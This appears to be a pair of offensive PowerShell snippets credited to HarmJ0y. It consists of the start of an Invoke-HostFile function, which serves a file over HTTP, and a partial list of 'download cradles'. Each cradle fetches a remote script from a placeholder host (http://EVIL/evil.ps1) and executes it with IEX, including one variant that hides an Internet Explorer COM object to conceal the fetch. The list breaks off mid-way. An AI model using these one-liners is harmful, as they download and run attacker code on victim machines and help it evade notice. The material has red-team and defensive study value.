HarmJ0y

Function Invoke-HostFile {
    <#
        .SYNOPSIS
            
            Hosts a base64 string representation of a binary file or a given
            $FilePath on the specified $Port. Any HTTP request to the given 
            host/port will return the binary data of the specified file.

        .PARAMETER Base64File
        

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object